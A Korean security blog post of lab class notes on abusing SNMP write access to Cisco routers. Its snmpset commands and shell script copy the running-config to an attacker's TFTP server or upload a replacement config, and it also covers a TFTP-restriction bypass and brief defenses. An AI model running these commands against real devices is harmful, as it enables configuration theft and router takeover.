네트워커의 보안 티스토리

* 본 게시물의 내용은 수업에서 배운 것을 정리한 것이므로 악용해서는 안됩니다.

  게시된 내용들은 잘 알려져있는 기술들입니다. 따라서  악용하더라도 쉽게 적발되니

  절대 악용해서는 안됩니다.

-------------------------------------------------------------------------------------------------



SNMP



NMS 프로토콜로 CMIP는 구조가 너무 복잡해서 사용하지 않기 때문에 SNMP를 사용하게 된다.




SNMP의 기능


- 네트워크 구성 관리

네트워크상의 시스템들의 구조를 파악할 수 있다.

실시간에 가깝게 모니터링이 가능하다.


- 성능 관리

각 네트워크 세그먼트 간 네트워크 사용량 , 에러 량, 처리 속도, 응답 시간등 성능 분석에 필요한 통계 정보를 얻을 수 있다.


- 장비 관리

네트워크 정보 뿐만이 아니라 시스템에 관한 정보까지 제공한다






v1과 여전히 동일한 보안적 문제를 지닌다.














캡쳐를 떠보면


1.3.6.1.4.1.9.9.96.1.1.1.1.2 에 84976이 붙어있다


84976 은 구분하기 위한 임의의 숫자일 뿐이다.


value 값을 보니 1이다.


tftp로 받았으니 1이 맞겠다.





merge 방식으로 동작한다

merge는 명령어를 입력하는 방식과 똑같다.

만약에 ip 설정을 지우고 싶으면 저기서 ip 설정된 부분을 지우는 것이아니라

앞에 no를 붙이는 것처럼 , 명령어를 입력하는 방식대로 해줘야한다.


본인은 제일 구분하기 쉬운 hostname으로 해보겠다.









[SNMP 공격 실습]



먼저 서버가 올라가 있는지 확인한다.


UDP 161번이다.





Community String이 걸려있다면?




community string Brute forcing을 위한 툴이다.




Community String은 물론 장비 버전까지도 나온다






-v 버전

-c community string 지정


공격대상 ip oid

i 10진 형태의 데이터



요청 메시지를 만들고 agent에게 보낼 수 있게 해준다.


이제 그전에 앞서







먼저 백트랙에서 TFTP 서버를 적용 시킨다.

Drives - Autodetect 누른 후 적용 OK 누른다.


터미널 띄워서.




권한을 수정해준다.






Browse C: Drive 클릭







백트랙 tftp 서버를 사용할 수 있게 됐다.




너무 복잡하니까 root 디렉터리로 바꿔준다.


아까 할당된게 H:/ 이니까 Browse 눌러서 root로 바꾸면 H:/로 변경된다.


후에 요청메시지를 보낸다.


snmpset -v 2c -c private 10.10.10.254 1.3.6.1.4.1.9.9.96.1.1.1.1.2.200 i 1


snmpset -v 2c -c private 10.10.10.254 1.3.6.1.4.1.9.9.96.1.1.1.1.3.200 i 4


snmpset -v 2c -c private 10.10.10.254 1.3.6.1.4.1.9.9.96.1.1.1.1.4.200 i 1


snmpset -v 2c -c private 10.10.10.254 1.3.6.1.4.1.9.9.96.1.1.1.1.5.200 a 10.10.10.3


snmpset -v 2c -c private 10.10.10.254 1.3.6.1.4.1.9.9.96.1.1.1.1.6.200 s running-config


snmpset -v 2c -c private 10.10.10.254 1.3.6.1.4.1.9.9.96.1.1.1.1.14.200 i 1


200이란 숫자는 구분하는 것이기 때문에 1시간 정도는 사라지지 않는다. 그러므로 잘못 보냈다면 


숫자를 다 다시 바꿔서 보내는 것을 추천한다.





백트랙 tftp에 로그가 뜬다.



확인이 가능하다.





활용해서 업로드하면 라우터 running-config를 바꿀 수 있게된다.



snmpset -v 2c -c private 10.10.10.254 1.3.6.1.4.1.9.9.96.1.1.1.1.2.300 i 1


snmpset -v 2c -c private 10.10.10.254 1.3.6.1.4.1.9.9.96.1.1.1.1.3.300 i 1


snmpset -v 2c -c private 10.10.10.254 1.3.6.1.4.1.9.9.96.1.1.1.1.4.300 i 4


snmpset -v 2c -c private 10.10.10.254 1.3.6.1.4.1.9.9.96.1.1.1.1.5.300 a 10.10.10.3


snmpset -v 2c -c private 10.10.10.254 1.3.6.1.4.1.9.9.96.1.1.1.1.6.300 s hostname


snmpset -v 2c -c private 10.10.10.254 1.3.6.1.4.1.9.9.96.1.1.1.1.14.300 i 1






위와 같이 한 것은 다소 불편해서 쉘 프로그램:을 활용한다.





#!/bin/sh

echo -n "Enter a Number: ";read NO

echo -n "Router IP: ";read RIP

echo -n "Community String: ";read STRING

echo -n "tftp IP: ";read TIP

echo -n "File Name: ";read NAME


snmpset -v 2c -c $STRING $RIP 1.3.6.1.4.1.9.9.96.1.1.1.1.2.$NO i 1

snmpset -v 2c -c $STRING $RIP 1.3.6.1.4.1.9.9.96.1.1.1.1.3.$NO i 4

snmpset -v 2c -c $STRING $RIP 1.3.6.1.4.1.9.9.96.1.1.1.1.4.$NO i 1

snmpset -v 2c -c $STRING $RIP 1.3.6.1.4.1.9.9.96.1.1.1.1.5.$NO a $TIP

snmpset -v 2c -c $STRING $RIP 1.3.6.1.4.1.9.9.96.1.1.1.1.6.$NO s $NAME

snmpset -v 2c -c $STRING $RIP 1.3.6.1.4.1.9.9.96.1.1.1.1.14.$NO i 1



쉘 프로그램을 작성해주고



권한 변경후 실행.


##############################################



TFTP 서버 제한 우회



XP만 되게 설정했다.


access-list 10 permit 10.10.10.1

snmp-server tftp-server-list 10



TFTP 서버의 용도


일반적인 파일공유에 쓰는 서버가 아니라 관리자가 특수한 용도로 쓰는 서버.

그래서 어떤 파일이 있는지도 알고 확인할 필요도 없기 때문에, 목록 확인도 불가능

비휘발성 메모리 장비를 부팅 할 때 사용 / 인증을 거치면 이러한 것이 불가능 

그래서 UDP임.




xp로 하여금 router에게 다운받게 한다.


공격자는 tftp client로서 tftp server에게 파일을 가져온다.


공격자가 다운받게 했으니까  파일명을 정확히 알고 있으므로 가져올 수 있다.




또 다른 우회 방어




[방어책]


TFTP 서버 접근 제한

SNMP 접근 제한


무엇보다 Community String이 안뚫리게 설정




'정보보안' 카테고리의 다른 글

41일차 보안솔루션  (0) 2017.04.10
40일차 GRE Sniffing  (0) 2017.04.05
39일차 SSL MiTM , SSL strip  (2) 2017.04.04
38일차(2) SSH  (0) 2017.04.03
38일차 암호화, 해시알고리즘, Diffie-Hellman protocol, 인증서  (0) 2017.04.03